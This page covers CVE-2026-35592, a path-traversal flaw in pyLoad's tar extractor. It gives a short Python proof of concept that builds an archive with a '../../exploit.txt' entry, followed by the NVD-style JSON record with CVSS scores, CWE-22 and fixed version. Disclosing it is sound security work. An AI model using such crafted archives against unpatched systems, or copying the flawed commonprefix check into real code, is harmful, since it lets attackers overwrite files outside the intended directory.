CVE-2026-35592

import tarfile import os # Create a malicious tar file to demonstrate the vulnerability # The file contains a path that attempts to traverse outside the extraction directory with tarfile.open("malicious.tar", "w") as tar: # Adding a file with a path traversal sequence (../) # If pyLoad uses os.path.commonprefix, this might bypass checks info = tarfile.TarInfo(name="../../exploit.txt") info.size = 0 tar.addfile(info) print("Malicious tar file created: malicious.tar")

{"cve": {"id": "CVE-2026-35592", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:34.280", "lastModified": "2026-04-16T21:11:52.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*", "versionEndIncluding": "0.5.0b3.dev96", "matchCriteriaId": "0F5DE8DC-98B9-4A24-89F9-C2FEFD254815"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}